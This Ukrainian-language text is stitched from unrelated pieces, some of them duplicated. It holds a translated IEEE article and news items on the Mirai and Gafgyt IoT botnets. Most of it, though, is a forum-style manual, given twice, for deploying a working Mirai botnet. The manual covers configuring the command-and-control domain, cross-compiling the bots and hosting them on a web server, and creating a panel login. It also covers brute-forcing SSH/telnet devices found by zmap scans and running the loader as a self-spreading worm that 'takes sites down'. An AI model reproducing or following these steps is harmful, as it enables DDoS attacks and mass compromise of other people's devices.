Вихідний код mirai. IoT-ботнети Mirai та Gafgyt націлилися на корпоративний сектор. Принцип дії Mirai

Зі зростанням популярності та масштабів Інтернету речей його пристрою почали використовувати зловмисники як платформу для організації найпотужніших кібератак. Ступінь серйозності та кількість гучних інцидентів безпеки за участю таких пристроїв показали, що вони найслабша ланка ланцюжка безпеки сучасних комп'ютерних мереж. І нехай обчислювальна потужність більшості суб'єктів Інтернету речей далека від можливостей ПК, її нестача поповнюється кількістю пристроїв, що об'єднані в єдине ціле. Всі вони завжди пов'язані з Мережею, і часто, працюючи в заводській конфігурації, стають ласим шматком для зломщиків. Величезна чисельність, широке поширення та слабка захищеність пристроїв Інтернету речей вже залучили чимало зловмисників, які з їхньою допомогою активно влаштовують DDoS-атаки.

«Майбутнє» вже тут

Недавній широко відомий приклад- ботнет Mirai (від японського "майбутнє". - Прим. ред.), вперше виявлений у серпні 2016 року дослідницькою групою MalwareMustDie. Сам шкідливість, а також його численні варіанти та наслідувачі стали джерелами найпотужніших DDoS-атак в історії ІТ-індустрії.

У вересні 2016 року сайт консультанта з комп'ютерної безпеки Брайана Кребса став отримувати трафік зі швидкістю 620 Гбіт/c, що на порядки більше за рівень, при якому більшість сайтів виходять з ладу. Приблизно в той же час ще потужніша DDoS-атака, організована за допомогою Mirai (1,1 Тбіт/с), вразила OVH, французького провайдера сервісів веб-хостингу хмарних сервісів. Незабаром було опубліковано вихідний код шкідливості, після чого зловмисники почали здавати в оренду ботнети на його основі, що містили до 400 тис. пристроїв. Відбувся ще ряд атак Mirai, найвідоміша з яких, організована проти сервіс-провайдера Dyn, у жовтні 2016-го на кілька годин вивела з ладу сотні сайтів, включаючи Twitter, Netflix, Reddit та GitHub.

Mirai зазвичай розповсюджується, спочатку заражаючи веб-камери, цифрові відеореєстратори, маршрутизатори і т.д., на яких працює одна з версій BusyBox. Потім шкідливість з'ясовує адміністративні віри інших пристроїв Інтернету речей шляхом простого перебору, використовуючи невеликий словник типових для виробників мережевих пристроївпар "ім'я-пароль".

Згодом мутації Mirai почали з'являтися буквально щодня, і те, що у них зберігалася здатність розмножуватися і завдавати шкоди за допомогою тих самих методів, що й у оригіналу, вказує на хронічну зневагу виробників пристроїв Інтернету речей найпростішими методами захисту. Як не дивно, при цьому ботнети, утворені з таких пристроїв, досліджувалися слабо, незважаючи на небезпеку того, що більш складні атаки на їх основі потенційно здатні підірвати всю інфраструктуру Інтернету.

Принцип дії Mirai

Mirai влаштовує DDoS-атаку проти серверів-мішеней, активно розповсюджуючись через пристрої Інтернету речей із незахищеною конфігурацією.

Головні компоненти

Ботнет Mirai складається із чотирьох основних компонентів. Робот - шкідливість, що заражає пристрої і поширює «інфекцію» серед неправильно налаштованих пристроїв, а потім атакуючий сервер-мішень при отриманні відповідної команди від ботмайстра - людини, яка управляє ботами. Керуючий сервер надає ботмайстру інтерфейс, що дозволяє перевіряти стан ботнета та ініціювати нові DDoS-атаки. Зв'язок між елементами інфраструктури ботнета зазвичай здійснюється через анонімну мережу Tor. Завантажувач забезпечує поширення файлів для всіх апаратних платформ (всього їх 18, в тому числі ARM, MIPS, x86 та ін) шляхом прямого контакту з новими жертвами. Сервер звітів веде базу даних з відомостями про всі пристрої в ботнеті, а щойно заражені вузли зазвичай спілкуються з цим сервером безпосередньо.

Схема активності та зв'язку в ботнеті

Спочатку Mirai сканує порти 23 і 2323 за випадковими публічними IP-адресами. Деякі адреси виключаються (ймовірно, щоб не привертати уваги держструктур) - наприклад, що належать пошті США, Пентагону, IANA, а також компаніям General Electric та Hewlett-Packard. На рис. 1 показані основні етапи активності та обміну даними в ботнеті.

Етап 1.Бот проводить атаку шляхом підбору, з'ясовуючи вірчі дані пристроїв Інтернету речей, фабричні налаштування яких не змінювали. У словнику Mirai є 62 можливі пари "ім'я-пароль".

Етап 2.Виявивши робочі вірчі дані та отримавши з їх допомогою доступ до командному рядкуабо графічному інтерфейсу користувачаУстрою, бот передає його характеристики серверу звітів через інший порт.

Етап 3.Ботмайстер регулярно перевіряє потенційні мішені та поточний стан ботнета, спілкуючись із сервером звітів через Tor.

Етап 4.Вибравши вразливі пристрої для зараження, ботмайстер видає відповідні команди завантажувачу з усіма необхідними подробицями, у тому числі з IP-адресами та відомостями про апаратну архітектуру.

Етап 5.Завантажувач входить до системи вразливого пристрою і змушує її завантажити і запустити відповідний файл шкідливого файлу. Зазвичай завантаження відбувається за допомогою утиліти GNU Wget за протоколом TFTP. Примітно, що як тільки шкода запускається, він намагається захиститися від конкурентів, блокуючи порти, через які часто відбувається зараження, у тому числі Telnet і SSH. На цьому етапі свіжостворений екземпляр робота вже може спілкуватися з керуючим сервером і отримувати від нього команди на запуск атаки. Для цього виконується дозвіл доменного імені, жорстко закодованого у файлі (за замовчуванням в Mirai це cnc.changeme.com). Такий спосіб, що використовується замість прямого звернення IP-адресою, дозволяє ботмайстру міняти IP-адреси керуючого сервера без модифікації двійкових файлів і додаткового обміну інформацією.

Етап 6.Ботмайстер віддає команду всім екземплярам бота почати атаку проти сервера-мішені, передаючи через керуючий сервер відповідні параметри, у тому числі тип і тривалість атаки, а також IP-адреси самого сервера та екземплярів бота.

Етап 7.Боти починають атакувати ціль, використовуючи один з десятка доступних методів, серед яких флуд за протоколами Generic Routing Encapsulation, TCP і HTTP.

Характерні риси Mirai

На відміну від інших подібних шкідників, Mirai не намагається уникнути виявлення. Багато стадії зараження мають характерні ознаки, які можна розпізнати з допомогою нескладного мережевого аналізу: перебір певних вірчих даних через певні порти; надсилання складених спеціальним чином звітів; завантаження характерних двійкових файлів; обмін повідомленнями для збереження з'єднання; передача керуючих команд із характерною структурою; практично повна відсутність випадкових елементів у трафіку атаки.


На рис. 2 показані стандартні режими зв'язку між завантажувачем Mirai і пристроєм Інтернету речей, що вже заражений, але ще не почав атаку. Тривалість сеансів варіюється, але типи та розміри пакетів, а також послідовність повідомлень підпорядковуються закономірностям, які вказують на зараження саме цим шкідливим впливом.

Варіанти Mirai

Здавалося б, публікація вихідного коду Mirai та його відносно гучний мережевий шум мали призвести до швидкої появи ефективних механізмів розпізнавання та захисту. Однак цього не сталося: лише через два місяці після публікації вихідного коду кількість екземплярів робота збільшилася більш ніж удвічі, з 213 тис. до 493 тис., і з'явилася велика кількість його різновидів. Навіть більше року після виявлення Mirai боти як і використовували слабкі конфігурації пристроїв тих самих типів, що й спочатку.

Більшість заражень Mirai відбуваються через порти TCP 23 або 2323, але в листопаді 2016 були виявлені штами вірусу, що звертаються до інших портів, у тому числі до 7547, яким інтернет-провайдери користуються для дистанційного керуваннямаршрутизаторами клієнтів. У тому ж місяці один із таких варіантів Mirai залишив без доступу до Мережі майже мільйон абонентів Deutsche Telekom.

У лютому 2017 року за допомогою варіанта Mirai було влаштовано DDoS-атаку тривалістю 54 години проти одного з американських коледжів. Наступного місяця з'явився ще один різновид - цього разу з вбудованими засобами майнінгу біткойнів, щоправда, за оцінками, використання пристроїв Інтернету речей для цих цілей навряд чи могло принести великий дохід.

У квітні розпочалася активність Persirai – ще одного ботнета, створеного з використанням кодової бази Mirai. Ця зомбі-мережа була виявлена ​​дослідниками Trend Micro, які дали їй ім'я, об'єднавши слова Persian і Mirai - перше було обрано з урахуванням іранського походження шкідливого. Він намагається отримати доступ до керуючого інтерфейсу веб-камер певних виробників через порт TCP 81. У разі успіху відбувається проникнення в маршрутизатор з використанням уразливості протоколу UPnP, а потім виконується завантаження, запуск та видалення додаткових двійкових файлів. Замість того щоб з'ясовувати вірчі дані для входу в інтерфейс камери шляхом підбору, вірус використовує пролом нульового дня, що дозволяє отримати файл з паролем. Розподілена DoS-атака здійснюється за допомогою флуду протоколу UDP. За оцінками, всього в Мережі було близько 120 тис. пристроїв, вразливих для Persirai.

Інші ботнети на основі Інтернету речей

Покладаючись на базові принципи Mirai, творці нових шкідників стали користуватися іншими, складнішими механізмами збільшення потужності і маскування активності зомбі-мереж.

У серпні 2016 року дослідники з організації MalwareMustDie повідомили про перший ботнет на основі Інтернету речей, створений з використанням мови скриптів Lua. Більшість армії ботнета становили кабельні модеми з процесорами ARM, які працюють під керівництвом Linux. Шкідливість має складні функції - наприклад, створює зашифрований канал обміну даними з керуючим сервером і задає спеціальні правила iptables для захисту інфікованих пристроїв від конкурентів.

Ботнет Hajime, виявлений у жовтні 2016 року фахівцями Rapidity Networks, користується методом зараження, подібним до Mirai. Але замість централізованої архітектури Hajime спирається на розподілену систему зв'язку, застосовуючи BitTorrent Distributed Hash Tag (DHT) для виявлення бенкетів (рівноправних користувачів мережі), і використовує транспортний протокол uTorrent для обміну даними. Усі повідомлення шифруються за протоколом RC4. Поки що Hajime не виявив себе з негативного боку, навпаки, він усуває потенційні джерела вразливостей у пристроях Інтернету речей, які використовуються ботнетами, подібними до Mirai, у зв'язку з чим висловлювалася думка, що він був створений якимось «Робін Гудом». Проте справжнє призначення ботнета і залишилося загадкою.

Ботнет BrickerBot, який, як і Mirai, заражає програмне забезпечення BusyBox, був виявлений експертами компанії Radware у квітні 2017 року. Користуючись довірчими даними, встановленими за замовчуванням у сервісі SSH, а також помилковими конфігураціями та відомими вразливістю, шкідливість намагається влаштовувати перманентні атаки на відмову в обслуговуванні (PDoS, Permanent DoS) проти пристроїв Інтернету речей, тобто достатньо руйнівних, щоб змушувати до повторного використання. заміні обладнання. BrickerBot псує прошивки пристроїв, видаляє на них файли та змінює налаштування мережі.

Уроки

Масштабна шкода, завдана атаками Mirai, його варіантів та подібних ботнетів, виразно продемонструвала ризики, створювані пристроями Інтернету речей для Всесвітньої мережі. На сьогодні досить нескладні віруси здатні брати такі пристрої під контроль та створювати величезні руйнівні армії «зомбі». Атакуючих у своїй приваблює простота вирощування популяції ботов. Можна перерахувати п'ять основних причин, через які пристрої Інтернету речей особливо вигідно використовуватиме створення ботнетів.

  1. Постійна, безперешкодна активність.На відміну від ноутбуків і настільних ПК, які часто включають і вимикають, багато пристроїв Інтернету речей (на зразок веб-камер і маршрутизаторів Wi-Fi) працюють цілодобово і часто сприймаються господарями як пристрої, які не можуть бути заражені.
  2. Відсутність захисту.Поспішаючи вийти на ринок Інтернету речей, багато виробників пристроїв нехтують безпекою, приділяючи більше уваги зручності та простоті використання.
  3. Відсутність контролю.Більшість пристроїв Інтернету речей використовуються за принципом «настроїв і забув» - після первинного налаштування сисадміни можуть приділити їм увагу лише якщо вони перестають штатно працювати.
  4. Великий трафік атак.Пристрої Інтернету речей сьогодні мають достатню потужність і вдале розташування для створення трафіку DDoS-атак, не менш потужного, ніж за допомогою сучасних настільних комп'ютерів.
  5. Неінтерактивні або мінімально інтерактивні інтерфейси користувача.Оскільки пристрої Інтернету речей зазвичай вимагають мінімального втручання користувача, зараження швидше за все залишиться непоміченим. Але навіть якщо його помітять, користувачам недоступні прості способиусунення шкоди за винятком фізичної заміни пристрою.

Поява DDoS-атак, що здійснюються пристроями Інтернету речей, передбачалося давно, і сьогодні кількість все більш складних варіантів та наслідувачів Mirai зростає загрозливими темпами. Такі шкідливості зазвичай здатні діяти на багатьох платформах і, відрізняючись малою ресурсоємністю, можуть задовольнятися мінімумом оперативної пам'яті. Крім того, процедура зараження відносно проста, що робить будь-який вразливий пристрій кандидатом на перетворення на зомбі, навіть якщо його часто перезавантажують. Більшість існуючих на сьогодні шкодочинів Інтернету речей легко піддаються виявленню та аналізу, проте нові боти стають дедалі скритнішими.

Зазвичай більша частина відповідальності за DDoS-атаки лежить на самих користувачах і сисадмінах, які нехтують елементарними запобіжними заходами. Однак у випадку ботнетів Інтернету речей вся відповідальність лежить на виробниках, що випускають слабко захищені продукти з фабричними налаштуваннями віддаленого доступу. Крім того, тільки у виробників пристроїв Інтернету є можливість автоматично надавати фірмові оновлення безпеки, які дозволили б захиститися від заражень. Звичайні методи підвищення надійності, що вимагають ручного втручання, наприклад часта зміна паролів, для пристроїв Інтернету речей, неможливі, оскільки поведінка таких пристроїв в мережі базується на принципі саморегулювання. Тому на сьогодні для Інтернету речей необхідні технічні засобиконтролю безпеки, а також продумані стандарти захисту для пристроїв, обов'язкові для дотримання всіма постачальниками.

Джеффрі Воас ( [email protected]) – науковий співробітник IEEE.

Constantinos Kolias, Georgios Kambourakis, Angelos Stavrou, Jefrey Voas, DDoS в IoT: Mirai and Other Botnets. IEEE Computer, July 2017, IEEE Computer Society. Всі права захищені. Reprinted with permission.

Два найвідоміші і поширені IoT-ботнети - Mirai і Gafgyt - продовжують «розмножуватися». Були виявлені нові варіанти цих шкідників, націлені на корпоративний сектор. Основна небезпека цих кіберзагрозу полягає в добре організованих і досить потужних DDoS-атаках.

Причина такої поширеності цих двох зловредів криється в злитому вихідному коді, який став доступний громадськості кілька років тому. Початківці кіберзлочинці відразу ж почали винаходити свої зловмисні програми на його основі.

У більшості випадків, зважаючи на некомпетентність зловмисників, клони Mirai і Gafgyt не являли собою якихось серйозних проектів і не несли істотних змін у своїх можливостях.

Проте останні варіанти ботнетів продемонстрували тенденцію зараження корпоративних пристроїв. У звіті Unit 42 команди Palo Alto Networks говориться, що нові зразки Mirai і Gafgyt додали в свій арсенал ряд нових експлойтів, які використовують старі вразливості.

Mirai тепер атакує системи, на яких запущений непропатчений Apache Struts (саме так минулого року зламали). Патч для пролому CVE-2017-5638 існує вже більше року, але, звичайно, не всі оновили своїм монтажем.

Всього у Mirai на даний момент 16 експлойтів, більшість з яких призначені для компрометації пристроїв на зразок маршрутизаторів, мережевих відеореєстраторів та різних камер.

Gafgyt (також відомий як Baslite) також атакує бізнес-обладнання, орієнтуючись на нещодавно виявлену вразливість CVE-2018-9866. Цей критичний недолік безпеки торкається непідтримуваних версій системи Global Management System (GMS) від SonicWall. Дослідники Unit 42 зафіксували нові зразки 5 серпня, тобто через тиждень після публікації модуля Metasploit для цієї вразливості.

Уражені Gafgyt пристрої можуть сканувати інше обладнання на наявність різноманітних проблем безпеки, а також атакувати їх відомими експлойтами. Ще один вид атаки, який може здійснювати даний шкодонос - Blacknurse, є ICMP-атакою, яка сильно впливає на завантаження ЦП, що призводить до відмови в обслуговуванні.

Експерти також виявили, що ці два нові варіанти ботнетів було розміщено на одному домені. Це доводить, що за ними стоїть той самий кіберзлочинець або їхня група.

У кінець минулого місяця ми повідомляли, що . Такі дані наводяться у звіті Global Threat Index за липень 2018 року.

А вже цього місяця правоохоронці розкрили особу, яка стоїть за одним із найвідоміших приймачів Mirai – Satori. Виявилося, що кіберзлочинцю в даний час пред'явлені звинувачення.

Нам знадобиться два VPS KVM сервери та домен. Віртуалізація саме KVM, OpenVZ повз цей раз.

Сервера я беру тут

На одному сервері ставитимемо сам ботнет, на другому скануватимемо ботів. (брутити)

ВАЖЛИВО. Сервера повинні бути на базі Debian 8 і мати як мінімум 1GB RAM.

Домен будь-який, не має різниці.

Вибачте звичайно, але розповідати як прикрутити домен VPS я не буду. Це не складно, самі розберетеся.

PuTTYі починаємо.

# apt-get update -y

# apt-get upgrade -y

# apt-get install unzip gcc golang electric-fence screen sudo git -y

# apt-get install mysql-server -y

# apt-get install mysql-client -y

# apt-get install apache2 -y

При установці MySQL потрібно буде створити пароль для доступу до MySQL для root користувача. Пароль нормальний придумаєте, без жодних "qwerty"

Запишіть кудись, він нам ще буде потрібен.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y

# bash< <(curl -s -S -L

Ви повинні бути зареєстровані, щоб побачити посилання.

)

# gvm install go1.4

# gvm use go1.4 [--default]

# gvm install go1.4 -B

# gvm use go1.4

# export GOROOT_BOOTSTRAP=$GOROOT

# gvm install go1.5

# gvm use go1.5

# gvm install go1.8

# gvm use go1.8

Після установки всіх утиліт, качаємо вихідні роботи -

Ви повинні бути зареєстровані, щоб побачити посилання.

І завантажуємо на сервер. Командою wget, або просто через програму WinSCP.

# unzip Mirai-Source-Code-master.zip

# cd Mirai-Source-Code-Master/mirai/tools

# gcc enc.c -o enc

# ./enc string ******(Свій домен пишемо, який прикрутили до сервера) і тиснемо Enter.

Тут ви побачите такий текст

XOR"ing 14 bytes of data...

\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22

14 - Тут буде інша цифра у вас, так що не хвилюйтеся, все вірно.

Копіюємо весь цей текст.

Відкриваємо через nano редактор, або через WinSCPфайл table.cякий знаходиться в папці mirai/bot

Повинні побачити це

Ви повинні бути зареєстровані, щоб побачити посилання.

Рядок add_entry(TABLE_CNC_DOMAIN- все, що в лапках міняємо на свій текст, який щойно скопіювали. Замість " 30 " пишемо свою цифру, яку теж щойно скопіювали. Теж саме робимо з рядком add_entry(TABLE_SCAN_CB_DOMAIN

Зберігаємо і закриваємо редактор.

Відкриваємо редактором файл mirai/cnc/main.go

Бачимо це -

Ви повинні бути зареєстровані, щоб побачити посилання.

"127.0.0.1" міняємо на "127.0.0.1:3306"

"password"змінюємо на наш MySQL пароль, який вводили раніше. "

Зберігаємо файл і закриваємо редактор.

Просто копіюйте всю цю хуйню, розповідати навіщо це потрібно, не буду.

# mkdir /etc/xcompile

# cd /etc/xcompile

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

# tar -jxf cross-compiler-armv4l.tar.bz2

# tar -jxf cross-compiler-i586.tar.bz2

# tar -jxf cross-compiler-m68k.tar.bz2

# tar -jxf cross-compiler-mips.tar.bz2

# tar -jxf cross-compiler-mipsel.tar.bz2

# tar -jxf cross-compiler-powerpc.tar.bz2

# tar -jxf cross-compiler-sh4.tar.bz2

# tar -jxf cross-compiler-sparc.tar.bz2

# tar -jxf cross-compiler-armv6l.tar.bz2

# rm *.tar.bz2

# mv cross-compiler-armv4l armv4l

# mv cross-compiler-i586 i586

# mv cross-compiler-m68k m68k

# mv cross-compiler-mips mips

# mv cross-compiler-mipsel mipsel

# mv cross-compiler-powerpc powerpc

# mv cross-compiler-sh4 sh4

# mv cross-compiler-sparc sparc

# mv cross-compiler-armv6l armv6l

# export PATH=$PATH:/etc/xcompile/armv4l/bin

# export PATH=$PATH:/etc/xcompile/i586/bin

# export PATH=$PATH:/etc/xcompile/m68k/bin

# export PATH=$PATH:/etc/xcompile/mips/bin

# export PATH=$PATH:/etc/xcompile/mipsel/bin

# export PATH=$PATH:/etc/xcompile/powerpc/bin

# export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

# export PATH=$PATH:/etc/xcompile/sh4/bin

# export PATH=$PATH:/etc/xcompile/sparc/bin

# export PATH=$PATH:/etc/xcompile/armv6l/bin

# export PATH=$PATH:/usr/local/go/bin

# export GOPATH=$HOME/Documents/go

# go get github.com/go-sql-driver/mysql

# go get github.com/mattn/go-shellwords

# cd Mirai-Source-Code-master/mirai

# ./build.sh debug telnet

# ./build.sh release telnet

# mv mirai* /var/www/html

# cd /var/www/html

# mkdir bins

# mv * bins/

Тепер MySQL.

# mysql -u root -p

Тут попросять пароль. Вводимо пароль, який раніше встановили.

# create database mirai;

# use mirai

Тепер копіюємо весь текст від сюди.

Ви повинні бути зареєстровані, щоб побачити посилання.

Вставляємо і тиснемо Enter.

Копіюємо текст від сюди -

Ви повинні бути зареєстровані, щоб побачити посилання.

Замість anna-senpaiпишемо свій логін. Будь-який. Так само і з м'якимзаписом. Ці дані нам будуть потрібні для доступу до панелі керування ботом.

Має бути ось так - INSERT INTO users VALUES (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");

Копіюємо, вставляємо, тиснемо Enter.

Тепер можна вийти.

Вже майже все.

# cd Mirai-Source-Code-master/mirai/release

# touch prompt.txt

# screen ./cnc

Повинні побачити напис MySQL DB Opened

Чи не закриваємо цю сесію, відкриваємо нову.

Ви повинні бути зареєстровані, щоб побачити посилання.

Замість ******* пишемо свій домен і тиснемо Open.

Вводимо логін та пароль, у моєму випадку це -

zaebalsjapisatj

Все, ми в панелі керування роботом.

Тепер нам потрібні боти. Тут все просто, інсталли ніякі не потрібні.

Налаштуємо loader.

Loader потрібен для того, щоб ботів можна було б додавати з текстових файлів. Допустимо набрутили ми loT пристроїв (роутери, камери, телефони) і щоб їх додати в бот, потрібен loader.

Так само loader це "хробак"

Підключаємось до нашого сервера через PuTTY та WinSCP.

За допомогою WinSCP знаходимо файл main.cв папці Mirai-Source-Code-master/dlr

Пишемо IP нашого сервера як на скріні -

Ви повинні бути зареєстровані, щоб побачити посилання.

Коми залишаємо, так і має бути. Зберігаємо та закриваємо.

Тепер з PyTTYзаходимо на наш сервак і пишемо -

# cd Mirai-Source-Code-master/dlr

# chmod 777 *

# ./build.sh

# cd release

# mv dlr* ~/Mirai-Source-Code-master/loader/bins

Тепер відкриємо WinSCPі знаходимо файл main.cв папці Mirai-Source-Code-master/loader/src

Змінюємо на свій IP як на скріні -

Ви повинні бути зареєстровані, щоб побачити посилання.

Зберігаємо та закриваємо.

Через PuTTY -

# ./build.sh

За допомогою WinSCPвідкриваємо файл scanListen.goякий можна знайти у папці Mirai-Source-Code-master/mirai/tools

Змінюємо на свій IP сервера -

Ви повинні бути зареєстровані, щоб побачити посилання.

Потім з PyTTY -

# cd Mirai-Source-Code-master/mirai/tools

# go build scanListen.go

Тепер у нас з'явився новий файл scanListen(без .go, просто scanListen)

scanListenпотрібно перемістити до папки Mirai-Source-Code-master/loader

Просто за допомогою WinSCPкидаємо його в папку loader

Тепер перевіримо чи все працює

# ./loader

Якщо бачите те, що на скріні, значить все правильно -

Ви повинні бути зареєстровані, щоб побачити посилання.

Якщо виникають помилки, пишіть у тему, допоможу.

Щоб завантажити ботів зі списку, кидаємо текстовик у папку loaderі набираємо команду -

# cat list.txt | ./loader

Все, всі боти яких ви набрутили у вас, будуть класти сайти по вашій команді.

Я особисто цей спосіб не використав, знайшов легший спосіб.

Тут нам потрібен другий сервер. Так само на Debian 8.

# apt-get update -y

# apt-get upgrade -y

# apt-get install python-paramiko -y

# apt-get install zmap -y

zmapнам потрібний для сканування портів. Принцип роботи як у KPortScan, Тільки в 50 разів швидше.

Копіюємо весь код від сюди -

Ви повинні бути зареєстровані, щоб побачити посилання.

І зберігаємо як scan.py

Тут ви можете додати свої паролі та логіни.

Ви повинні бути зареєстровані, щоб побачити посилання.

Рядок comboне чіпаємо!

Тут потрібно прописати IP сервера, на якому стоїть бот.

Ви повинні бути зареєстровані, щоб побачити посилання.

Змінюємо все і зберігаємо.

Файл scan.py кидаємо у будь-яке місце на нашому сервері. На другому сервері, який чисто для сканування, на якому бот не чіпаємо.

Нам потрібні IP які ми скануватимемо.

#zmap -p22 -o list.txt -B 100M(можна й інші порти сканувати, я сканував 22 або 23 завжди)

Усі результати будуть у файлі list.txt

Після того як зібрали IP (чим більше тим краще) файл list.txtкидаємо поряд до файлу scan.pyі пишемо -

# python scan.py list.txt 500

Все, сидимо і дивимося, як росте наш ботнет.

Коли набереться хоч би 200 ботів, можна запустити loader.

Для цього заходимо на сервер, де встановлено ботнет і -

# cd Mirai-Source-Code-master/loader

# ulimit -n 9999999

# ./scanListen | ./loader

Тепер бот працюватиме за принципом "хробака" і добиватиме ще роботів.


Багато пиздеть не буду, скажу що софт робітник, вимикає сайти на ура. І це перший російський мануал із встановлення Mirai. Історична хуйня

Нам знадобиться два VPS KVM сервери та домен. Віртуалізація саме KVM, OpenVZ повз цей раз.
На одному сервері ставитимемо сам ботнет, на другому скануватимемо ботів. (брутити)
Сервера я брав тут - https://www.nforce.com/
Проблем не було, не банили.
Для тих хто хоче просто подивитися, як там і що, можете взяти і тут тестові сервери - https://adminvps.ru/
ВАЖЛИВО. Сервера повинні бути на базі Debian 8 і мати як мінімум 1GB RAM.
Домен будь-який, не має різниці.
Вибачте звичайно, але розповідати як прикрутити домен VPS я не буду. Це не складно, самі розберетеся.
Підключаємось до нашого сервера через PuTTY та починаємо.

# apt-get update -y
# apt-get upgrade -y
# apt-get install unzip gcc golang electric-fence screen sudo git -y
# apt-get install mysql-server -y
# apt-get install mysql-client -y
# apt-get install apache2 -y
При установці MySQL потрібно буде створити пароль для доступу до MySQL для root користувача. Пароль нормальний придумаєте, без жодних "qwerty"
Запишіть кудись, він нам ще буде потрібен.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y
# bash< <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
# gvm install go1.4
# gvm use go1.4 [--default]
# gvm install go1.4 -B
# gvm use go1.4
# export GOROOT_BOOTSTRAP=$GOROOT
# gvm install go1.5
# gvm use go1.5
# gvm install go1.8
# gvm use go1.8

Після установки всіх утиліт, качаємо вихідні роботи - і завантажуємо на сервер. Команда wget, або просто через програму WinSCP.
# unzip Mirai-Source-Code-master.zip
# cd Mirai-Source-Code-Master/mirai/tools
# gcc enc.c -o enc
# ./enc string vlmi.su (свій домен пишемо, який прикрутили до сервера) і тиснемо Enter
Тут ви побачите такий текст
XOR"ing 14 bytes of data...
\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22
14 - тут буде інша цифра у вас, тому не хвилюйтеся, все правильно.
Копіюємо весь цей текст.
Відкриваємо через nano редактор, або через WinSCP файл table.c який знаходиться в папці mirai/bot
Повинні побачити це - https://prnt.sc/gcxa2m
Рядок add_entry(TABLE_CNC_DOMAIN - все що в лапках міняємо на свій текст, який щойно скопіювали. Замість "30" пишемо свою цифру, яку теж щойно скопіювали. Теж саме робимо з рядком add_entry(TABLE_SCAN_CB_DOMAIN)
Зберігаємо і закриваємо редактор.
Йдемо далі.
Відкриваємо редактором файл mirai/cnc/main.go
Бачимо це – https://prnt.sc/gcxdtz
"127.0.0.1" міняємо на "127.0.0.1:3306"
"password" міняємо на наш MySQL пароль, який вводили раніше. "
Зберігаємо файл і закриваємо редактор.
Просто копіюйте всю цю фігню, розповідати навіщо це потрібно, не буду.

# mkdir /etc/xcompile
# cd /etc/xcompile

# tar -jxf cross-compiler-armv4l.tar.bz2
# tar -jxf cross-compiler-i586.tar.bz2
# tar -jxf cross-compiler-m68k.tar.bz2
# tar -jxf cross-compiler-mips.tar.bz2
# tar -jxf cross-compiler-mipsel.tar.bz2
# tar -jxf cross-compiler-powerpc.tar.bz2
# tar -jxf cross-compiler-sh4.tar.bz2
# tar -jxf cross-compiler-sparc.tar.bz2
# tar -jxf cross-compiler-armv6l.tar.bz2

# mv cross-compiler-armv4l armv4l
# mv cross-compiler-i586 i586
# mv cross-compiler-m68k m68k
# mv cross-compiler-mips mips
# mv cross-compiler-mipsel mipsel
# mv cross-compiler-powerpc powerpc
# mv cross-compiler-sh4 sh4
# mv cross-compiler-sparc sparc
# mv cross-compiler-armv6l armv6l

# export PATH=$PATH:/etc/xcompile/armv4l/bin

# export PATH=$PATH:/etc/xcompile/i586/bin
# export PATH=$PATH:/etc/xcompile/m68k/bin
# export PATH=$PATH:/etc/xcompile/mips/bin
# export PATH=$PATH:/etc/xcompile/mipsel/bin
# export PATH=$PATH:/etc/xcompile/powerpc/bin
# export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
# export PATH=$PATH:/etc/xcompile/sh4/bin
# export PATH=$PATH:/etc/xcompile/sparc/bin
# export PATH=$PATH:/etc/xcompile/armv6l/bin

# export PATH=$PATH:/usr/local/go/bin
# export GOPATH=$HOME/Documents/go

# go get github.com/go-sql-driver/mysql
# go get github.com/mattn/go-shellwords
Заебався.

# cd Mirai-Source-Code-master/mirai
# ./build.sh debug telnet
# ./build.sh release telnet

# mv mirai* /var/www/html
# cd /var/www/html
# mkdir bins
# mv * bins/
# cd

Тепер MySQL.
# mysql -u root -p
Тут попросять пароль. Вводимо пароль, який раніше встановили.
# create database mirai;
# use mirai
Тепер копіюємо весь текст від сюди - https://pastebin.com/QVD48J8s вставляємо і тиснемо Enter.
Копіюємо текст від сюди - https://pastebin.com/JwYSgE4v
Замість anna-senpai пишемо свій логін. Будь-який. Так само і з м'якимзаписом. Ці дані нам будуть потрібні для доступу до панелі керування ботом.
Має бути так - INSERT INTO users VALUES (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");
Копіюємо, вставляємо, тиснемо Enter.
Тепер можна вийти.
# exit
Вже майже все.
# cd Mirai-Source-Code-master/mirai/release
# touch prompt.txt
# screen ./cnc
Повинні бачити напис MySQL DB opened
Чи не закриваємо цю сесію, відкриваємо нову.
http://prntscr.com/gcxunx замість vlmi.su пишемо свій домен, і тиснемо Open.
Вводимо логін та пароль, у моєму випадку це -
pizdec
zaebalsjapisatj
Все, ми в панелі керування роботом.

Минулого місяця були скоєні атаки на великі сайти, як Twitterабо Spotify, які тимчасово вивели їх з ладу. Для цього використовувався ботнет Mirai, що поєднує 400-500 тисяч пристроїв інтернету речей Тепер журналістам Motherboard стало відомо про те, що двоє хакерів змогли захопити контроль над ботнетом і створити його нову версію - вона об'єднує вже мільйон пристроїв. Його міць встигли випробувати на собі абоненти німецького провайдера Deutsche Telekom, мережа якого не працювала минулими вихідними.

Полювання на Mirai

Журналістам вдалося поговорити з одним із двох цих таємничих хакерів – він використовує нікнейм BestBuy. У зашифрованому онлайн-чаті він розповів їм, що серед зломщиків розгорнулася справжня боротьба за контроль над Mirai. У його софті нещодавно було виявлено вразливість. Її використання разом зі швидкістю могли дозволити BestBuy та його партнеру під ніком Popopret захопити контроль над більшою частиною ботнета та доповнити його новими пристроями.

